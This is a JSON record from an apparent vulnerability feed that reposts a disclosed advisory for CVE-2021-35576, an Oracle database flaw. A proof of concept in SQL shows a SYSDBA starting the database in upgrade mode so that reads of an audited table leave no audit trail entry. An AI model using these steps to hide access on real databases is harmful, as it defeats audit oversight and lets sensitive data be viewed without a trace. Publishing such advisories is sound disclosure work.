{"uuid": "3ec5b199-79da-4076-b530-41a2bb2f7922", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-35576", "type": "seen", "source": "https://t.me/hacking_Attack/83134", "content": "Exploit Collector\nOracle Unified Audit Policy Bypass\n\nhttps://4.bp.blogspot.com/-xhbT4GX8v9w/WWlvF89jtmI/AAAAAAAAILM/fSSkvnm11QwzZu21RJEqwX2S4icQcxCngCLcBGAs/s1600/h136.png Oracle versions 12.1.0.2, 12.2.0.1, and 19c suffer from a Unified Audit Policy bypass vulnerability.\n\nSHA-256 | 7e5b1b4347cc242b7461a29b645553a188ed4ddb848dbd5b5689d7909dc614f0Download Title: CVE-2021-35576 \u2013 Oracle database system Unified Audit Policy ByPass\nProduct:                   Database\nManufacturer:              Oracle\nAffected Version(s):       12.1.0.2, 12.2.0.1, 19c\nTested Version(s):         19c\nRisk Level:                low\nSolution Status:           Fixed\nManufacturer Notification: 2021-03-17\nSolution Date:             2021-10-17\nPublic Disclosure:         2022-06-11\nCVE Reference:             CVE-2021-35576\nAuthor of Advisory:        Emad Al-Mousa\n\nOverview:\nOracle Database is a general purpose relational database management system (RDMBS).\nUnified Auditing is the supported mechanism to capture database audit logs. The unified audit trail captures audit information from a variety of sources.The unified audit trail, which resides in a read-only table in the AUDSYS schema in the SYSAUX tablespace, makes this information available in a uniform format in the UNIFIED_AUDIT_TRAIL data dictionary view, and is available in both single-instance and Oracle Database Real Application Clusters environments. In addition to the user SYS, users who have been granted the AUDIT_ADMIN and AUDIT_VIEWER roles can query these views. If your users only need to query the views but not create audit policies, then grant them the AUDIT_VIEWER role.\n*****************************************\nVulnerability Details:\nThe vulnerability will allow database administrator or system admin with access to the database server (either local login or remote authentication)to bypass a custom in-place audit policy defined in the oracle database system. Moreover, setting the database in upgrade mode will disable auditingand threat actor can perform malicious operations without detection.\n\n*****************************************\nProof of Concept (PoC):\nI will create a table in pluggable database PDB1 under HR schema and insert few records:\nSQL&gt; CREATE TABLE HR.EMPLOYEE\n(\nFIRST_NAME  VARCHAR2(50),\nLAST_NAME   VARCHAR2(50)\n);\nSQL&gt; INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'EMAD','MOUSA' );\nSQL&gt; commit;\nSQL&gt; INSERT INTO HR.EMPLOYEE (\nFIRST_NAME, LAST_NAME)\nVALUES ( 'SAMI','MOUSA' );\nSQL&gt; commit;\nI will now create audit policy:\nSQL&gt; CREATE AUDIT POLICY SELECT_P1 actions select on HR.EMPLOYEE;\nSQL&gt; audit policy SELECT_P1;\nTo check audit policies configured in PDB1 database:\nSQL&gt; SELECT * FROM audit_unified_enabled_policies;\n\nNow, let us simulate executing the select statement against the monitored/audited table while database is in upgrade mode:\nsqlplus / as sysdba\nSQL&gt; alter session set container=PDB1;\nSQL&gt; shutdown immediate;\nSQL&gt; startup upgrade;\nSQL&gt; select * from HR.EMPLOYEE;\nSQL&gt; startup force;\nSQL&gt; exec SYS.DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;\nChecking the audit logs using the query, NO entry is found recorded in the unified audit trail:\n\nSQL&gt; select OS_USERNAME,USERHOST,DBUSERNAME,CLIENT_PROGRAM_NAME,EVENT_TIMESTAMP,ACTION_NAME,OBJECT_SCHEMA,OBJECT_NAME,SQL_TEXT from unified_audit_trail where OBJECT_NAME=\u2019EMPLOYEE\u2019 order by EVENT_TIMESTAMP desc;\nSo, even though audit policy was configured in the database a DBA/System Admin can view the audited sensitive table without a trace as No record will be populated in UNIFIED_AUDIT_TRAIL view !\n*****************************************\nReferences:\nhttps://www.oracle.com/security-alerts/cpuoct2021.html \nhttps://databasesecurityninja.wordpress.com/2022/06/11/cve-2021-35576-bypassing-unified-audit-policy/\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-35576\n\nCredit:\nEmad Al-Mousa: CVE-2021-35576 Source:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:12.312783Z"}